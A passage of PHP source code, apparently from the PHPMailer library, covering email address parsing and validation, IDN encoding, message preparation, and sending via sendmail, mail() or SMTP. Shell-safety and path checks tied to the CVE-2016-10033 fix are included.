     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
